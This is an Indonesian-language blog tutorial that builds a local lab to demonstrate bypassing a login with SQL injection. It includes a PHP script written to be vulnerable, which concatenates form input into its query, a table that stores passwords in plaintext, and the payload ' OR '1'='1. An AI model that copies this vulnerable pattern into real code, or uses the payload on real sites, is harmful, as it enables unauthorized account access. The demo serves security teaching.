Demo Bypass Login dengan SQL Injection

 Demo Bypass Login dengan SQL Injection


    Berikut adalah langkah-langkah lengkap untuk membuat demo serangan bypass login menggunakan

SQL Injection. Demo ini akan menunjukkan bagaimana seorang penyerang dapat mengakses akun

pengguna tanpa kredensial yang valid dengan mengeksploitasi kerentanan SQL Injection dalam

aplikasi web.


1. Setup Web Server dan Database: Anda memerlukan server lokal seperti XAMPP atau Laragon

untuk menjalankan aplikasi web dan database MySQL.

2. Database Setup:

 - Buat database bernama ‘demo_db’.

 - Buat tabel `users` dengan kolom `id`, `username`, dan `password` atau dengan command berikut:

 CREATE DATABASE demo_db;

 USE demo_db;

 CREATE TABLE users (

 id INT AUTO_INCREMENT PRIMARY KEY,

 username VARCHAR(50) NOT NULL,

 password VARCHAR(50) NOT NULL

 );

 INSERT INTO users (username, password) VALUES ('admin', 'adminpass');

 INSERT INTO users (username, password) VALUES ('user', 'userpass');

Langkah-Langkah Demo

1. Buat Formulir Login

Buat file `login.html` untuk menampilkan formulir login sederhana.

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Login Page</title>
</head>
<body>
 <h2>Login</h2>
    <form action="login.php" method="post">
    <label for="username">Username:</label>
    <input type="text" id="username" name="username"><br><br>
    <label for="password">Password:</label>
    <input type="password" id="password" name="password"><br><br>
    <input type="submit" value="Login">
 </form>
</body>
</html>

2. Buat Skrip Login yang Rentan

Buat file `login.php` yang mengandung kerentanan SQL Injection.

<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "demo_db";
// Membuat koneksi ke database
$conn = new mysqli($servername, $username, $password, $dbname);

// Mengecek koneksi
if ($conn->connect_error) {
 die("Koneksi gagal: " . $conn->connect_error);
}
// Mengambil input dari formulir
$user = $_POST['username'];
$pass = $_POST['password'];
// Query yang rentan terhadap SQL Injection
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
 echo "Login berhasil!";
} else {
 echo "Login gagal!";
}
$conn->close();
?>

3. Menunjukkan Kerentanan Jalankan aplikasi dan buka `login.html` di browser. Masukkan input berikut untuk melakukan serangan bypass login: 

- Username: ' OR '1'='1 

- Password: ' OR '1'='1 4. 

Hasil Eksploitasi Setelah mengklik tombol login, Anda akan melihat pesan "Login berhasil!".

Hal ini terjadi karena query SQL menjadi: SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1' 

Query ini selalu benar dan mengembalikan semua baris dalam tabel `users`. 

Tidak ada komentar:

Posting Komentar